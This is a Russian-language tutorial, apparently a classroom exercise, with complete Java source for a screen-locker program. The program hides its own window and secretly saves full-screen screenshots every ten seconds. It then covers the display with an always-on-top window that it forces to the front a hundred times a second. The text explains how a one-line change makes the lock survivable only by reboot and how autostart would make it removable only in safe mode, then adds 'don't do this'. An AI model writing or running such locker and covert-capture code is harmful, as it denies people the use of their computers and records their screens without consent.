Создание блокировщика окна, перекрывающего все окна, для того, чтобы прекратить выполнение программы нужно нажать alt+пробел, выбрать свернуть окно и нажать красный квадрат для прерывания выполнения программы:

1. подключите:

import java.awt.\*;

import java.io.\*;

import java.awt.event.\*;

import java.awt.image.\*;

import javax.imageio.\*;

import javax.swing.\*;

1. Вставьте в ваш метод Main

new myFrame();

1. После окончания класса вставьте:

class myFrame extends JFrame

{

// переменная типа Robot

private Robot rob;

// переменная типа Таймер

private Timer tm;

// Счетчик скриншотов

private int kol=0;

// Окно для блокировки

private Frame wnd;

// Конструктор класса

public myFrame()

{

try

{

// Создаем новый объект класса Robot

rob = new Robot();

}

catch (Exception e) {}

    // Создаем таймер с задержкой в 10 секунд

    tm = new Timer(10000,new ActionListener() {

public void actionPerformed(ActionEvent e) {

    // Снимаем скриншот экрана и записываем его в файл

    saveScreen();

}

    });

    // Запускаем таймер

    tm.start();

  // НЕ завершать работу приложения при закрытии окна

        setDefaultCloseOperation(JFrame.HIDE\_ON\_CLOSE);

        // Выводим окно

  setVisible(true);

  // И сразу его прячем

  setVisible(false);

}

public class panel extends JPanel{

Image img;

public panel() {

ImageIcon i=new ImageIcon("src/1.jpg");

img=i.getImage();

}

public void paintComponent(Graphics g) {

super.paintComponent(g);

g.drawImage(img, 0, 0, 100, 100,null);

}

}

// Метод снятия скриншота экрана и сохранения его в файл

private void saveScreen()

{

// Считаем количество скриншотов

kol++;

// Определяем текущее разрешение экрана

Dimension dm = Toolkit.getDefaultToolkit().getScreenSize();

int w = dm.width;

int h = dm.height;

try

{

        // Снимает скриншот экрана с помощью класса Robot

  BufferedImage img =

                  rob.createScreenCapture(new Rectangle(0,0,w,h));

      // Сохраняем изображение в PNG файле

ImageIO.write(img, "PNG", new File("src/img"+kol+".png"));

}

catch (Exception e) {}

// Когда пройдёт одна минута

if (kol==6)

{

    // Таймер останавливаем

    tm.stop();

    // Создаем окно

    wnd = new Frame();

    // Отключаем возможность изменения размеров окна

    wnd.setResizable(false);

    // Устанавливаем размеры в полный экран

    wnd.setBounds(0, 0, w, h);

    // Устанавливаем цвет фона красный

    wnd.setBackground(Color.RED);

    // Размещаем окно сверху других окон

    wnd.setAlwaysOnTop(true);

    // Убираем рамку окна

    wnd.setUndecorated(true);

    // Делаем прозрачность 50%

    wnd.setOpacity(0.5f);

    wnd.add(new panel());

    // Подключаем обработчик события

    wnd.addWindowListener(new WindowAdapter() {

    // При сворачивании окна

public void windowIconified(WindowEvent arg0) {

      // Открываем окно на полный экран

//wnd.setExtendedState(Frame.MAXIMIZED\_BOTH);

            }

        });

    // Выводим окно

    wnd.setVisible(true);

// Создаем таймер с задержкой в 10 миллисекунд (100 раз в секунду)

    tm = new Timer(10,new ActionListener() {

public void actionPerformed(ActionEvent e) {

    // Выводим окно на передний план

    wnd.toFront();

}

});

    // Запускаем таймер

    tm.start();

}

}

}

3) Запустите, посмотрите что происходит

4) Если раскоментировать команду wnd.setExtendedState(Frame.MAXIMIZED\_BOTH);, то прекратить выполнение программы можно только перезагрузив компьютер, для того, чтобы нельзя было прекратить выполнение программы ее можно установить в автозагрузчик компьютера, оттуда его можно будет удалить только из безопасного режима.

**это делать не нужно!**

5) Добавьте вместо цветного окна вывод изображения, для этого вам понадобится сохранить в вашу папку src изображение, поменять путь к нему в конструкторе класса panel и настроить размеры окна и прозрачность по необходимости.